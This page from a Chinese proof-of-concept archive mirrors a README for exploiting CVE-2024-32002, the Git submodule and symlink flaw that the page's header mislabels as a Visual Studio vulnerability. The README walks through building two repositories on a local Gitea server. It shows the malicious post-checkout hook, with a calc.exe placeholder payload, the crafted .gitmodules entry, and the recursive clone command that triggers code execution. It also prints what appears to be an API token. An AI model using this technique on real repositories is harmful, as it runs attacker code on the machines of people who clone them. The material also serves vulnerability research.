POC详情: 1934b95072a008a14e9e61bc82ca758eb0b1e5d1

来源
关联漏洞
标题: Microsoft Visual Studio 安全漏洞 (CVE-2024-32002)
描述:Microsoft Visual Studio是美国微软(Microsoft)公司的一款开发工具套件系列产品,也是一个基本完整的开发工具集,它包括了整个软件生命周期中所需要的大部分工具。 Microsoft Visual Studio存在安全漏洞的相关信息,请随时关注CNNVD或厂商公告。
描述
adapting CVE-2024-32002 for running offline and locally
介绍
# We are adapting this for local use 

we follow this blog post but with some key differences https://amalmurali.me/posts/git-rce

## How It Works
1. A malicious repository (`git_rce`) includes a submodule with a specially crafted path.
2. The submodule path uses a case variation that exploits the case-insensitive filesystem.
3. The submodule includes a symlink pointing to its `.git/` directory, which contains a malicious hook.
4. When the repository is cloned, the symlink is followed, and the malicious hook is executed, leading to RCE.

## Reproduction

⚠️ Warning: Do not run this PoC on systems you do not own or do not have explicit permission to use. Unauthorized testing could result in unintended consequences.

we need to make an api token for gitea this can be found at `http://<YOUR_GITEA_SERVER_IP>:3000/user/settings/applications`
	i  gave the token access to everything in order to make sure everything worked

then we can run our poc.sh making sure to provide it with the prompted information such as the ip address and port for the gitea server the username and token for making the repositories 

```
Enter the IP address or FQDN (without http://): localhost:3000
Enter your username: chris
Enter your API token: 3c57dbe1756734612f457b1fa08583df64fb5ea4
Enter the name for the first repository: hook 
Enter the name for the second repository: main
```
also we need to edit lines 42-46 to contain the payload

```
# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
calc.exe #or replace with other poc 
EOF
```

there is one more step we must go to the .`gitmodules`  from the `main` to the `hook`
repository i manually went to the repo in git tea and changed the file 

![screenshot1](screenshot1.png)

and then this did this
```
[submodule "x/y"]
	path = A/modules/x
	url = http://<your_git_tea_server>:3000/chris/hook.git
```

making sure that when i went to A/modules i could see something like this 

![screenshot2](screenshot2.png)

then clicking that commit should show the other repo with the POC stuff in it when you click it

then we can take our url and this should work to trigger the exploit
```
git clone --recursive http://<your_git_tea_server>:3000/<your_user_name>/main.git
```
## Acknowledgments

Credit to [filip-hejsek](https://github.com/filip-hejsek)  and   [amalmurali47](https://github.com/amalmurali47)  for discovering this vulnerability and having a blog post and repository to adapt from

文件快照

[4.0K] /data/pocs/1934b95072a008a14e9e61bc82ca758eb0b1e5d1 ├── [3.0K] poc.sh ├── [2.4K] README.md ├── [ 26K] screenshot1.png └── [ 25K] screenshot2.png 0 directories, 4 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。